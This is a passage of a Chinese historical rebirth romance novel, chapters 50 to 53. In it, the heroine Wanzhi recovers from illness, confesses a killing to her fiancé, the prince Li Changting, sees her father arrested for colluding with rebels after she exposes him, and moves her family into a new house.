平氏交代完事宜,倒了杯茶给妧柔,让她捧着喂姐姐喝,平氏扶妧枝从榻上起来。
只见长女虽暂且说不了话,但手指在动,似是在比划,等看清比划的是什么后。
平氏惊讶,“铜剪?什么铜剪,你那天夜里回来,两手空空的,什么都没有啊。”
接着,她看向窗台旁的桌子上。
“你要的剪刀,不是在未绣完的针线篮子里吗?”
妧枝顺着平氏目光瞧去,的确是有一把剪刀在那,却不是她对薛明烛动过手的那一把。
“历常珽呢?”
她再次比划,平氏瞧不懂,就示意妧柔去她桌台上拿笔墨来写字。
喝了茶水的妧枝精神不少,她写,平氏念,“你说锦瀚郡王?他这两日一有空便来家中坐着看望你,你的闺房不方便进,他就待在你屋外的等候。”
“不过你一直没醒,他好像有事,就先回去了。”
平氏问:“阿枝,你还没说你到底发生了什么事?历郡王带你回来告诉我,说你是太过劳累,想要外出走走,结果不小心迷路了,被困在雨中,这才弄成这副样子。”
妧枝微微一愣,竟想不到历常珽是这样同平氏解释的。
……
朝堂之上,百官觐见天子,以文武两方重臣之首呈告天下大事。
气氛森严威重,但凡有一事不妥,就有官员被当场定罪,其他人好似已经见怪不怪同僚命运多舛,在圣人发怒时,只选择明哲保身小心谨慎。
待到被拖下去的犯事臣子变少,中间的位置空了起来。
过了会儿,终于又有人出列。
只是不同于刚才,此人一走出来,圣心明显大悦,也让殿上杀伐的气氛多了些缓和。
“爱卿,你有什么话要说?”
面冷而孤倨的臣子一派宠辱不惊,“陛下,臣有事启奏……”
“哦?快说……”
冗长而肃穆的朝议直到将近午时方才结束,各省各部的臣子从殿里出来,下午还要当值。
而每个院里都有伙房负责伙食,历常珽与甘贯轩走在一起,二人并行。
闲不住话的甘贯轩道:“今日朝堂之上,那位可真是威风,薛宰执的脸色你都看见了,他说话,即使到了圣上跟前,那人都不见得给半分好脸。”
“这是枢密院要与议政堂那边分庭抗礼的意思啊……”
历常珽倏然顿住脚步。
甘贯轩却未曾留意前面,直到差点撞上了人,才发现被他议论的人影就在正前方。
而对方身边还站着一些臣子,俨然将其围住了,“密使大人,乱党当真都抓住了,这里面可有内情,莫要因圣上期限在即,审错了人,产生冤假错案啊……”
“何大人是什么意思?觉得枢密院办案不妥,为了完成圣上下达的命令,冒失激进随意抓人了吗?还是本使抓捕的人里头,与何大人有着牵扯不清的干系?”
沉冷的嗓音响起,顷刻就让开口说话的臣子面色大变,失声阻止,“商密使,这可不能胡说啊!我,我这只是想提醒密使你……”
“枢密院办案,历来抓一儆百,不会放错一个,何大人这么不信任枢密院,是瞧不起院里其他办事的同僚了?”
“不……”
“既然不是,那就不劳何大人费心了,”商榷安冷声道:“天下往来消息,皆由枢密院处理,军政大事如此重要,根本不可能犯这种小错。若是何大人是对本官有任何不满,可自请上告便是。”
周围一见气氛僵硬,站在商榷安身边的张大人则开始打圆场,“密使大人言重了,谁人不知商大人办案经验丰富,怎会像何大人说的那样冤枉好人呢?”
“……”
在同僚说话间,商榷安错开眼,目光看向停在附近听着这边谈话的两个人影。
一个历常珽,一个甘贯轩,二人皆与他是名义上的亲戚。
然而三人相见,甘贯轩站在另一边,与历常珽一起才是真正叫跟商榷安划开边界,相见不相识。
甘贯轩似是颇为尴尬,偷听到臣子们与商榷安对话,在此之前,他也是背后议论过的其中一人。
也幸好,商榷安正与人说到没有听见。
表兄弟亦是兄弟,但商榷安自小不在京都长大,即使七岁以前他们有过往来,到底是不敌与历常珽多年相处这般亲近。
甚至连王府里的其他四位公子,都比商榷安和他熟悉。
眼下这就显得排外了。
谁也不曾开口相互打一声招呼,而甘贯轩微微一转眼,就发现历常珽和商榷安竟都在不言不语审视着对方。
那天夜里那场雨,在妧枝背后撑着伞驻足在巷落里的黑色身影,仿佛与眼前的挺拔身形重合。
瓢泼的水幕令历常珽无法看清对方的面容,却给他一种挥之不去的直觉。
到底是不是他本人,当前无法考证。
而接到妧枝后,她在马车中也并未提及其他人,事到如今,历常珽暂且还摸不清商榷安为何会出现在那里。
就在此时,他的亲随寻了进来,“郡王。”
历常珽收回目光,二人走到一旁。
商榷安看向不远处的主仆,他没有将甘贯轩放在视野中,兄弟于他可没有骨肉亲情可言,父与子都能厮杀拼斗,更何况是视他如争家产的敌对兄弟。
也就更不用谈这些同样袖手旁观的旁亲了。
在历常珽与亲随走开时,商榷安敏锐地听见对方下属口中道:“郡王,妧娘子她终于醒了。”
历常珽早先叮嘱长随,若是妧家那边有了消息,便不用等候,即刻传来给他听。
而今见到人也不意外,只循声问:“醒了?她情况怎么样,可有哪里不适?”
长随道:“妧娘子高热退了不少,但是犯了喉疾,一时不能开口说话,嗓子不舒服。不过请了大夫来看,暂且没有别的大碍,只有等吃过药,再看能不能让情况缓解。”
历常珽皱了皱眉,“竟是这般严重。”
只见他忽然走向甘贯轩,对方不明其意,就听历常珽说:“下午我有事,不在工部,你今日应是没空,去替我当值一番。”
甘贯轩愣住,“什么?”
然而历常珽直接说完就走,“等等,你且说是出了什么事?是妧娘子找你吗?”
前方的身影没回答,连长随都离他而去。
甘贯轩无奈只得停下往城门外走的脚步,转身去了历常珽交代的当值院落。
在他们走后,周围人已散开不少,商榷安将刚才那对主仆说的话,隐隐约约听清了,留在原地看着历常珽离去的方向,眼底仿佛有一片深渊,若有所思。
第50章 下狱。
妧枝宛如做了一场大梦,这几日她一直在妧家等,等着兴许薛府的人会来找她。
然而过去多日,不仅官府那边没有消息,薛府更是好像不知薛明烛出了事。
“阿姐,我梳的头,好看吗?”房里,妧柔因为姐姐病了,十分乖觉地陪伴在妧枝身边。
而妧酨则被平氏派去,外出寻妧嵘去了。
镜子里,妧枝一副大病初愈的模样,妧柔主动照顾她,要帮她梳妆。
妧枝看向镜中的自己,一脸病容,却十分熟悉。
后面几年,前世就是这样病过来的,她夸奖妧柔,“梳得很好,阿柔的手天生就这么巧。”
妧柔羞涩地笑了笑,肉眼可见以后亦是美人胚子。
妧酨疯了后,妧柔去给人当了梳头娘子,过得十分不易。
“阿柔,以后不住这里了,你觉得好吗?”妧枝问她。
妧柔疑惑问:“不住这里,那住何处?阿姐还和我们一起吗?”
姐姐定亲,要嫁到郡王府,妧柔心里都清楚。
妧枝说这番话,还以为阿姐突然不想嫁了。
然而,妧枝道:“一起,我带你和阿母阿兄,去新的宅子,以后你和妧酨都会有自己的院子,不用再和谁挤在一块住。”
妧柔瞬间惊讶。
就在此刻,屋外响起别的动静。
“大娘子,郡王来看你了。”多瑞敲了敲门,提醒妧枝。
若是出行不方便,历常珽会过来院里看她。
但妧枝闻言抬起身,“给他奉茶,我这就过去。”
正堂,历常珽和平氏坐着说话,多数是历常珽在开口,平氏向来不善言辞,只有问一句答一句。
剩下的便是打量这位未来女婿,一直到门口处出现了妧枝的身影,奇异地,二人都不约而同松了口气。
平氏在妧嵘常年打压下,已经不习惯与他人交际,女子还好,男子便尤为压抑。
历常珽更是有些担心,有濉安王府的议亲人选在先,平氏会与妧嵘一般,先入为主,想要妧枝和李含翎他们定亲。
而对他这个后来者有异议,于是问候几句,便不知该怎么开口了。
还好妧枝来了。
他瞬间站起来迎上去,目光上下观察醒来的妧枝身形神色一番,担忧而关怀道:“瘦了。”
妧枝本就生得纤细窈窕,而今得了高热,喝了不少汤药,终于好了许多,也能开口说话了。
只是嗓子还是不适,声音也略带沙哑,软糯而厚重。
“你来了。”
“我来看看你,担心。”历常珽抬手摸了摸她额头,又握住她手腕试试是否温凉。
细心而看重的样子落入平氏眼里,倒是觉得宽慰。
平氏向妧柔招手:“阿柔,跟我来,我们去外面瞧瞧。”
说着,将正堂留给妧枝和历常珽交谈。
待到她们一走,妧枝看向对方,却忽地感觉身形一颤,不禁向前一扑,落到一道宽厚结实的胸膛上,她讶异地目视着历常珽。
他将她一把抱紧,不含一丝虚假,诚挚又欣喜道:“还好你没事了,阿枝,你不见后,真是吓到我了。”
“若你……有哪里不好,真不知该怎么和你阿母交代。”
妧枝初始一愣,感受到男子热切而笨拙的呼吸,蓦然扯开嘴角,弯了弯,道:“吓到你了,是我不好。不过郡王大人,也太不禁吓了?”
历常珽更加用力抱紧了她,父母出事以后,他以为自己会孤家寡人一辈子,即使祖母在身边陪伴,然而再亲,也有自己的家人关怀,并不属于他。
直到妧枝出现,他不禁说:“我胆子太小……干脆早日成亲罢了,免得夜长梦多。”
若事情了结,安定好阿母弟妹,妧枝也该寻她的归宿去,嫁人未尝不可。
她答应道:“好啊。”
历常珽惊喜非常,肉眼可见的激动,只是在高兴之后,对妧枝那日发生的事,总觉得疑点重重。
“阿枝,那天夜里……你,做什么去了?”
历常珽轻声提起,似是不想给她太多压力。
但若不说清楚,此事根本避不过去。
事发当日,妧枝说走就走,太过可疑,此后他找到她的时候,情况很不对劲。
以历常珽的猜测,她定然是出事了。
否则绝不会在晕倒之际,在他怀里说……
“我,杀了人了。”
“……”
正堂寂静无比,鸦雀无声,隐隐可以听见屋外平氏与妧柔的笑语。
而内里,却只有妧枝和历常珽无言对视。
妧枝撇开脸,“你没听错,那天夜里,我说的都是真的。”
“是谁?”
“薛氏之女……薛明烛。”
妧枝:“她就是与我阿父私通的妇人,背地里经常对我阿母和弟妹出言不逊,还妄想撺掇我阿父休妻。”
“那日她拿我阿弟威胁我,赴琴台巷一见,我便杀了她。”
“也不知这两日,尸身臭了没有。”
“……”
雨后初晴,连接而至的都是日光盛灿的好天气。
妧嵘好些时日都没归家,反倒躲在他与薛明烛偷偷置办的私宅里醉酒快活。
“主家,不喝了吧?已经午后了,您都喝了三壶了,再这样下去,夫人回来可要不高兴了。”
妧嵘卧在软榻上,身前身后是为他捏背捶腿的小婢,左边是喂他吃食的女子。
若是平日薛明烛在这里,他是万万不敢这样肆无忌惮的。
然而管事的话让他睁开假寐的眼,张嘴呼出的便是浓郁的酒气,“明烛?明烛呢,她回来了?”
管事:“夫人未归,属下只是想劝主家,饮酒伤身,少喝些罢了。”
“呵。我的就是明烛不在……”
“明烛,她管我太多了,”妧嵘说着,忽地从软榻上坐起身,如同灵光乍现,一瞬间从醉眼迷蒙中醒过神来,“不对,明烛未归?”
“这都几日了,她还没回来?”
管事被他反应弄得一惊,又想出理由安抚,“夫人,也许是回薛家去了……”
妧嵘屈膝低垂着头,眼神与刚才大有不同,只有他清楚,明烛不可能回薛家。
她出嫁早,能生育,即使是寡妇,却也有许多人家想要她,薛家巴不得她再嫁。
她是不可能回去受家中安排的,且她父亲已经知晓她在外面与人来往,有了私情,这时候更不会回去露面。
按理办完事,薛明烛应当会回来找他,若是顺利,自然是迫不及待来向他表功。
可若是不顺……
想起忤逆不驯的长女,妧嵘竟有些不安。
忽而,外面又有人来了。
一阵仓促的脚步声,让府里的下人仓皇而逃般出现在妧嵘眼前,“大人,大人救命啊。”
妧嵘浑身酒醒,正要呵斥,然而在看清眼前一幕后,脸色忽地骇然大变。
只见一群凶神恶煞的官兵破门而入,从下人身后拿着镣铐和绳索出现。
另有一人手持令牌,高喊:“贼子妧嵘,涉嫌逆谋,与乱党私下往来,该诛!”
说罢,大手一挥,示意手下,“来人,将他们通通绑起来,带走!”
“你们……”
他话来不及说,就被冲上来的官兵提刀架在脖子上控制住,登时失去血色,浑身发凉。
“胡说八道!”
“我,我要见官,我是无辜的……”
下一刻,他双手被擒,嘴里也塞进一块麻布。
府官冷冷盯着他道:“你私通乱党,证据确凿,那些辩解的话,留着等到了牢房再说吧!”
在被挣扎带走间,妧嵘瞥见对方的身份腰牌,瞬时睁大惊恐的双目,“你们,呜……呜呜……”
更多的话根本说不出来,未料会有这么一天,妧嵘最期望的便是有人能来救他。
“明烛,明烛……”
在妧嵘被捉走后,屋内的其他下人也被官府的人全部带走。
有的想偷偷溜走,却在刚跑出几步路,就被远处扔来的绳索套住脖子,“看好他们,别让他们跑了!”
府官一脸肃穆从屋里出来,巡视一圈,然后快步走下台阶,向庭院一角里,站在树木旁的身影抬手禀告,“密使大人,都处理好了。”
“罪臣妧嵘,及其下人,全部都已捉拿归案。”
芭蕉叶旁,两道身影不知何时出现在此,一前一后站着,早已将面前情况都观摩的一清二楚。
负手而立的男子气势沉稳,在目视妧嵘的身影彻底消失后,收回凛冽的目光。
“做得很好。”商榷安淡淡道:“把人送至刑部交由张洛提审,此处其他事宜,暂且不要声张。”
“是……”
府官走后,商榷安身旁的枕戈欲言又止。
查办妧嵘,可大可小,可是连着薛明烛的事一同处置,大郎君未免插手太多。
这样殚精竭力,真的只是为了秉公处理吗?
“郎君……”
午后,一辆马车从状元巷出来。
妧枝与历常珽静静坐在车中,竟一时没有话说,不像往日里你来我往,自在谈笑。
等到了妧枝所说的琴台巷,马车停住,二人在路口处下来,观察四周情况。
忽有一户人家宅门打开,从里走出来上了年纪的夫妇。
见到妧枝和历常珽站在路面上,气氛尴尬而静默,登时以莫名其妙的神色看他们一眼。
一切好似如常。
再接着,妧枝继续往里走,历常珽跟上。
在记忆中被鲜血染红的宅门前,妧枝终于站定,向历常珽示意,“就是这里。”
历常珽率先敲门,想要入内看看情况。
然而手一碰,宅门好似一下便出来条缝,竟是没有锁的状态。
二人相视一眼,径自推门进去。
院中草木残留着被大雨侵袭过的痕迹,待到了妧枝对薛明烛动手的屋子,本以为见到会是屋中臭烂血腥的尸身。
可却出乎意料,令人震惊,连地上的血迹都被清理干净,就仿佛什么都未曾发生。
50-60
第51章 两清。
“怎么会……我明明……”
看着屋中摆设,妧枝确信那夜她动了手,可是干净的桌椅,以及布满泥灰的地面,丝毫瞧不出发生过命案。
历常珽在附近和妧枝说的地方仔细查看,一番观察下来,也并未发现异常。
若是一场梦实在说不过去,那太逼真了。
但若是有人帮她掩埋,那也……过于天衣无缝。
妧枝忽然静默下来。
历常珽检查之后回来,“这里我都看过了,没有……薛明烛的尸身。”
他后面的话说的很轻,似是有一丝犹豫。
毕竟妧枝出的非是小事,且若她真的在薛明烛逼迫之下动了手,那也会牵扯到薛家。
丞相府那边更不会善罢甘休,但眼下什么踪迹都没有,似乎又变成了一件好事。
至少,暂且真相不明,而一旦追查起来,亦没有罪证。
在妧枝沉默回想时,历常珽忽然道:“我那天夜里,在巷落看到你的时候,你身后还站着一个人……”
“阿枝,你还记得他是谁吗?”
目光对视,历常珽大概有所猜想,却没有点明。
妧枝回去后,至今都没有道出第三个人的所在,但毋庸置疑,历常珽觉得自己当时并没有看错。
而在沉默许久后。
妧枝终于道:“你是怀疑……他?”
显然,妧枝也有记忆,只是关于另外一个人的事,妧枝并不想提。
她和商榷安早已不是夫妻,这一世毫不相干,都不往来,也就没有提他的必要。
可若涉及……
若是薛明烛的事有他的手笔,妧枝不禁愣怔,他会吗?
“我觉得不会是他……”
见妧枝这副反应,历常珽已然可以推测出,那天夜里,他见到的应当就是商榷安没错。
他说:“阿枝,很有可能。”
枢密院在朝中非寻常机构,乱党的案子交由商榷安办,是因为牵连军营,而圣人又看重他,方才由商榷安处理。
且天下往来的消息都会传达到此处,可谓是朝野上下和各方各地的中心纽带,商榷安提前得到消息,亦或是杀人埋尸都轻而易举。
眼下妧枝说了当日情况,历常珽毫不怀疑她说的是真的。
但在毫无证据的情况下,现场都没有遗留的痕迹,那就是有其他人来过……
答案顷刻便水落石出。
只是当初,历常珽对妧枝与商榷安的关系感到扑朔迷离的那种疑惑感又浮现在心头。
好似局外人,难以插进这种猜不透的关系。
可妧枝却说:“不,他不会帮我。”他上辈子就没有帮过。
平氏会被丈夫嫌弃,那是她作为女子的命数。
并非说她不好,而是在商榷安眼里,从她嫁给妧嵘起,就注定她的一生不会好过。
妧嵘自命不凡,考取功名,做了官,见到的视野更广阔,官场、应酬,都会让他身边充满诱惑。
而平氏不过是个寻常小镇药铺里的女儿,守着儿女操持家宅,根本触及不到妧嵘的世界,所以她会被喜新厌旧,乃至休弃都在命定之中。
至于妧酨妧柔,也是因为是妧嵘的子女所以摆脱不了遭人迫害的下场。
一切皆是命中注定,他便冷漠看着,不为所动,今生又怎么可能会插手?
妧枝不那么认为,历常珽也就不再劝说,他只是初略分析,并非他认为的就是对的。
“既然这里已经没有什么好被发现的,那我们走吧。”
为了妧枝不被注意到,此地还是不宜久留。
不过片刻之后,妧枝便和历常珽离开琴台巷中。
而当天夜里,妧枝与历常珽分开后。
妧家忽地来了一群官兵,将妧府的宅门扣响。
门房出来打听,“谁啊,这么晚了,什么人来拜访?”
官府的人未曾出声,直到被打开,一下便有官兵从门缝中挤了进去。
为首的打量院中情形,在门房惊恐的目光中道:“官府办案,你们可是中书侍郎妧嵘的家?”
“是,是大人……”
平氏夜起,妧嵘近来都不回来,她却经常习惯留意外院动静。
这时前院的官兵注意到从后院走出来的她,登时朝平氏走来,“前面可是妧夫人?”
“什么事,你们找我?”平氏未料半夜会有人闯进妧家家宅。
她拉紧胸前衣襟,对这些冒头的官兵感到心惊。
对方好似就等着她承认,在下一瞬直接挥手,“去搜!”
“等等,你们这是做什么?”
官长道:“妧夫人,我们这是奉命办案,上面有令,中书侍郎妧嵘,他与乱党有勾连,如今罪证确凿,为防遗漏,特来此地再搜查一遍!”
“还请妧夫人不要阻拦,一会儿请夫人和娘子公子们,也需一同进官府接受审问。”
官长看向平氏身后。
平氏一扭头,才发现不知何时妧枝也从后院出来了,她领着妧酨和妧柔站在屋檐下的小路口,神情不见意外,如同对这样的情况,早在预料之中。
在去官府的路上,平氏尤为不安,不禁向极为平静的长女求助,“阿枝,他们说你阿父勾结乱党,这是怎么回事?他也被抓去了?那,我们你弟妹是不是都要一起跟着他下大狱了?”
虽是被官府的人带走,但好在还为他们安排了一辆马车,外面都是神情严肃的官兵,连妧府里的下人都一通看押了起来。
妧枝:“应当如此,这些时日他都没有回来,可见是出事了。”
平氏听得面色苍白,瞳孔里的光缩紧害怕到微颤,“那怎么办?阿枝……”
逆谋是死罪,与乱党搅合在一起,更是被抄家的下场。
眼下他们半夜就被抄家了,人还要去官府被审讯,预感到前途渺茫,生死到头,平氏慌乱到不知该如何是好,眼泪瞬间流了出来。
妧枝拉住平氏的手,“阿母,阿父犯错,自有国法,且按律法处置,我们这些家眷是无辜的,对此都不知情,官府那边说不定会因此对我们网开一面。”
“真的吗?”如今妧枝说什么,平氏都下意识相信,似乎早已习惯了依靠长女。
妧枝冷静的神情让她渐渐有了安慰,马车里,妧嵘陪着妧柔,听着阿姐的话,恐惧的心绪仿佛也慢慢安定。
到了官府,妧枝以为他们会立马被关进牢房去,可却出乎意料。
妧枝与平氏等人被分开送进了两间屋子,看管人的官兵将房门关上便走了。
夜深人静,官府里面偶有拷打盘问的动静传来,妧枝坐在屋中盯着它处,只考虑平氏那边情况会是如何,对自己的处境看似不怎么担忧。
她呈了证据上去,相当于自首,揭发自己的父亲。
朝中有律例,罪臣犯事,家眷理应被抄家流放,亦或下狱砍头。
可那是被上面查出来,一视同仁被处理掉。
他们情况却有所不同,最坏的情况最多是妧家现在的宅邸都被充公,家财亦都收回国库,仆从解散,好的是能保留一条性命,不至于被充入军营,亦或是成为军妓。
大不了流落街头,而妧枝早在之前就已经打点安排好一切,没了从前的宅邸,她还有历常珽那边替她买下的私宅。
母亲和弟妹总有安身之所,而她大部分嫁妆都已典当,钱财也都送去了郡王府。
待到日后有需要用钱的地方,她还可以再想办法。
凝神冥想间,房门不知不觉打开了,一道身影缓缓从外面步入进来,看到的就是一个女子宠辱不惊,在桌前沉思的画面。
商榷安在距离桌前几步距离时停下脚步,他的影子引来妧枝的留意,余光好似有所察觉,快速回过神。
在与商榷安对上视线间,她眸光里出现了片刻的惊讶,刚准备起身的身子又慢慢坐了回去,神情变得漠然。
前世夫妻再见,二者都没有立即出声。
尤其那个雨夜之后,商榷安再看妧枝,她已经恢复正常,如同从他所见过的那游离在外的状态中挣脱出来。
眼珠多了鲜活的焦距,不像要在下一刻,就要消失在尘世里。
还记得历常珽的长随说,她淋雨后大病了一场,现在看她还有些许病容在身上,脸色很白,没那么有气血。
但唇色天生好似就比别人艳,眼仁也黑漆漆的,多了许多水色,十分安静且冷淡地朝他睇视过来。
商榷安:“我不欠你什么了。”
妧枝倏然一愣。
商榷安:“妧嵘白日已被官差带走,他勾结乱党,只因一直得不到重用,和乱党那边通信几次,有交好之意,却没有真正的逆谋之举。”
“给他们提供的不过都是无足轻重的消息,向上混淆视听过,圣人本意是将妧家上下通通扣押入狱,但念在你大义灭亲有功,妧嵘之错,后果不该你们承担。”
“是以你与你母亲和弟妹们,以及妧府的不相干的下人,皆可网开一面。”
这与妧枝预料算测的结果相差无几,但其中过程定然没那么容易。
妧枝本是想在此等天亮后,历常珽那边传来消息,在计划检举妧嵘时,二人就已商定好。
案子一定,妧嵘一旦被查处,历常珽就会入宫面圣,替他们这些无辜的人向圣上求情。
没想到一夜还未过去,比之更快的是商榷安来传递这样的结果。
加之刚才商榷安说的话,必然少不了他的参与。
相较妧枝的沉默和无动于衷。
他这里也有一笔账。
前世起,让妧枝进门,占据妻子的位置,就已是对她的庇佑。
妧嵘出事,未曾让她牵连其中,亦称的上是一次。
不管是袖手旁观也好,还是对她置之不理,都是妧枝自行选择的代价。
而这一世……
商榷安:“我们两清了,妧枝。”
第52章 乔迁新居。
妧枝在官府待到了天明,屋中烛火早已熄灭,等门口来了官府里的下人,这才被告知可以走了。
她从京都府出去,平氏等人也被放了出来,看反应和身体都没有受到虐待,只是昨夜一晚都休息不好,提心吊胆。
平氏眼色发青,喜忧参半,妧柔妧酨都分别感到害怕与困倦。
“阿姐,是不是我们可以归家了?”
妧枝:“从前那个家回不了了。”
他们乃是妧嵘的家眷,父亲犯事,本该逃过不了的,放他们一马,家产都得充公。
即使回去,妧府大门想必也已经被封了。
平氏更关心妧嵘:“阿枝,那你阿父……他会怎么样?还能不能出来?”
此世妧嵘还未和平氏彻底撕破脸皮,更未来得及将薛明烛带回家。
平氏一直都知晓他在外面有其他妇人,可到底没有要人取代她,平氏依旧想着丈夫,念着一丝夫妻情分。
然而长女道:“阿母,阿父的事你我都插手不了,还是等着官府传告消息吧。眼下我们还是先安顿好自己,以免他在里面还要为我们担忧呢。”
平氏听了妧枝的话,顿时明悟要以大局为重,免得拖累妧嵘,她一介妇人眼前什么都做不了,只有把子女照应好才是最重要的。
“但,你方才不是说,我们回不去府里……”
妧枝:“日前我新置办了一座宅子,阿母可以随我去看看。”
出了京都府的大门,两辆马车停在外面等候。
不知何时得到消息的历常珽早早来到此处,由于京都府的原因,告知他知府正忙,不便接见,于是未能有机会入内去找妧枝。
一直到天亮,他才看到妧枝和其他人的身影。
“总要回去收拾下衣物……”平氏犹豫半晌,还是想回去瞧一瞧。
历常珽看向妧枝,见她没有拒绝,便朝外面吩咐道:“去妧府。”
然而当看到被贴上封条的家宅后,平氏嘴唇微颤,发现妧府门外还守着一些官兵。
登时醒悟,事情比她想的还要严重。
而这座住了多年的家,真的回不去了。
妧枝平静地留意着平氏的反应,直到对方朝她看过来,她才淡淡开口,“阿母,以后此处就是官府的地盘了,我们新的家宅比此处大,更好一些,以后妧柔跟妧酨都会有自己的院子,这些过往,就不必留念它了。”
平氏红着眼愣愣地望着妧枝,突然意识到提起这座宅子,妧枝并没有一丝不舍。
“好歹是你们从小长大的地方……”
“新宅也会有更多回忆啊。”
妧枝丝毫不在意她此刻的漠然被平氏看穿,她攥紧平氏的手,“阿母舍不得这里,是想弟妹都流落街头?还有家中仆人,多瑞他们,阿母还是想想,今后没有了阿父,该怎么安置才是。”
在平氏陷入矛盾痛苦的挣扎中,马车重新从状元巷驶出。
将从前物是人非的一切抛之在后。
……
一声爆竹响起,府门前聚集着不少来庆贺的身影。
满地的红鞭炮瞬间炸成了花,在花火璀璨中,承载着妧酨和妧柔捂住耳朵的画面,还有其他街坊小童在这门前欢乐穿行。
平氏一改往日朴素的面容,被妧枝安排着打扮的雍容华贵,气色更恢复了许多。
在他们跟前,前来祝贺的人陆续进来说着贺词,“恭喜啊,平夫人乔迁新居,以后大家都是邻居了。”
平氏难得面露笑容,“同喜同喜,家中设了宴席,快进去坐吧……”
不光这些街坊,还有挑着礼品上门的队伍。
“甘府来送礼,亲家请收。”
“郡王府同至,庆贺夫人娘子乔迁新居。”
平氏招呼,“太客气了,都快进去吧……来人,快给两位管事帮帮忙。”
在妧枝将平氏等人安置到新宅后,新宅的布置在她特意吩咐下,被撤走不少。
而为了今后的安生日子,平氏不得不开始为新家操持忙碌,渐渐对妧嵘的担忧从不安中逐渐平稳下来。
长女未有一丝要帮忙打理的意思,这让平氏被夺走了不少注意力,妧柔跟妧酨对旧宅并无多少留念。
反倒是对新宅充满好奇,更喜欢这里。
没了妧嵘,妧酨早已松了口气,父亲于他不过是给了他一具肉身,从未有过关爱。
反倒是长大以后动辄打骂羞辱,而今妧嵘出事,他更是一滴泪也没留。
他带着阿妹在门外看热闹,目光倏地向府里自己姐姐望去。
妧枝正在陪甘府的长辈,姓周的那位老太君,为人十分和善。
她是历郡王的祖母,亦是促成历郡王和他阿姐的媒人,听说是阿姐提醒对方注意身子,才在对方突发疾病时被家中人挽救了性命。
依妧酨看,他阿姐跟历郡王倒是比濉安王府的人更有缘。
妧枝将府中事无巨细的大小事都交由给平氏处理,好叫她这些天没那么多时日为妧嵘伤心流涕。
效果的确有用,有了住处安置,家里的仆人也都被带了过来,众人对妧家被抄的恐惧不过出现了一时,就被安抚了下去。
“你们没事真是太好了,我听常珽说了你家的遭遇,当日便安不下心,还好还好,一切都化险为夷……”
妧枝身旁,周老夫人拉着她提起日前的变故。
脸上眼里的担心都无有作假,妧枝抬手帮她按捏着肩颈处,宽慰道:“让老太君多虑了,自从知晓我阿父做了那样的事,我亦是寝食难安,直至再隐瞒不下去,这才做了那样的决定。”
妧枝大义灭亲,检举妧嵘,消息不可能有所隐瞒。
只是各方对她这般举动,都褒贬不一。
有人觉着她不忠不孝,愧对妧嵘的养育之恩。
有人也觉得哪怕是替天行道了,但她行事过于冷酷无情,是个极为心狠的女子。
最好敬而远之。
但唯独甘府和郡王府不惧流言都和她来往如常,周老夫人更是理所当然地表示,“你阿父做那样的事,害得可不止是他自己,若非你主动上报,难不成要等它东窗事发之际,连累你和你阿母他们一同下狱?”
“且我听说,他那般行动,早已上了官府名单,若你不去告他,迟早也会露馅,到时候你们这些家眷和仆人都会没了性命。总不能因为他一个,害了你们所有人。”
妧枝为周老夫人捏着肩,手腕轻重有度,更加用心。
恰时,邻里街坊走过来问好,“妧娘子,周老太君,今日这么大的喜事,怎么不见郡王呢?”
周老夫人含笑:“常珽他啊,入宫去了。”
“入宫?那就是面圣啊,看来郡王颇得圣上关爱。”
双目落在为老夫人捏肩捶背,一副孝顺模样的妧枝身上,“老太君有福气,不仅子孙争气,未来孙媳也敬重你。不知妧娘子跟郡王,什么时候成就好事啊?”
周老夫人跟妧枝对视一眼,随即道:“我也盼着呢,眼下尘埃落定,新宅落地,择个吉日,不成问题。”
来人道:“那可就提前恭喜府上有这样的大喜事了,等定好日子,可莫要忘了发喜帖啊。”
“这是自然,必不会忘了诸位呢。”
今日是妧枝和平氏等人的乔迁之喜。
他们搬来新的府宅已有月余,初时每个人头上还乌云罩顶,活在恐慌之中。
如今见无性命之忧,已经平静下来,于是选择到今天才设宴摆酒,通知客人来庆贺。
历常珽本该也在其中,与妧枝一起陪同周老夫人,但圣上忽然有令,召他入宫。
历常珽不得不先走,行面圣之仪,等出了宫再去见妧枝。
“郡王,快进去吧,圣上正在殿中等你呢。”
历常珽站在殿宇之外,待到宫人提醒后,抬步走进殿中。
圣人而今五十有四,面容清瘦,头上有微微白发,眼神刚毅,威势十足。
“臣见过陛下。”
“起来吧,今日此处只得你我二人,就不必那么多虚礼了。”
“谢陛下。”
罕见的,圣上与历常珽似乎也非寻常臣子关系。
在与历常珽照面后,威严的君王对他的态度,俨然多了一丝长辈的关爱和照顾。
圣人:“朕记得,你父亲在时,他总念叨着你,你是他唯一的子嗣,他对你总有着诸多的不放心。”
历常珽微微一愣:“父亲对我的确爱重有加……”
圣人感叹:“可惜他还未看到你成家就去了,朕与他也是自小的玩伴,你失了一个父亲,朕更失去了一个心腹大臣。”
历常珽不知为何圣人今日找他来,竟是有叙旧之意。
他自是知晓,父亲跟圣人从小长大,即是玩伴又是伴读,多年来君臣相顾,直到父亲和母亲相继去世,留下他一人。
他亦是承蒙圣上眷顾,承袭爵位以后,也被封了一官半职。
他知道圣人是想他代替他父亲的位置为国效力,但历常珽志不在此,只想做个闲散的郡王。
见此情形,这么多年圣人也没有怪他,只是今天,对方的意图仿佛不仅仅是为了缅怀故人,而是专程喊他来问话。
“朕听闻,日前罪臣妧嵘勾结乱党,你却为他家眷求情,他生得有一长女,名叫妧枝。虽是大义灭亲,但这样的女子,人心叵测,你还要娶她?”
犹如始料未及,历常珽惊诧地看向殿堂之上的年长君王。
“陛下……叔父……”
虽无血亲关系,但在历常珽的父亲与君王交情之深的情况下,历常珽从出生起,就被君王恩赐过,私下里可以叔侄相称。
可见他的身份在朝中有多么不同,旁人盛眷正浓,他一句叔父,象征着在君王心中颇得看重。
这也就表示,即便往日不怎么关注,但历常珽若有一点风吹草动,都会被上面特别关照。
尤其此次,还涉及了婚姻大事。
眼见对方竟对妧枝误解深重,历常珽赶紧道:“不,妧枝并非是那样的女子,她所做一言一行都是身不由己,还请叔父……不要错怪了她。”
然而,这样的解释未出奇效,反倒好似弄巧成拙。
一向习惯说一不二的君王在被否认后,喜怒不可测的盯着面前的故人之子。
直到气氛越发严肃。
良久,历常珽听见声音道:“既然你这般认定了她,朕倒是想见一见这位女子。”
“不日太后想去趟行宫居住,朕此行是为伴驾,同去的还有其他臣子命妇。你且把她带上,听清楚了吗?”
在威严的注视下,历常珽暂且无言以对,只能勉强答应下来,“是。”
第53章 一墙之隔。
新的府宅除了从前的家仆还添了其他外人,连妧柔和妧酨身边都有了单独伺候的婢女与长随。
家中由平氏打理着,妧枝亦是轻松不少,尤其是在妧嵘被送入牢狱后,这个家前所未有的感到一片宁静。
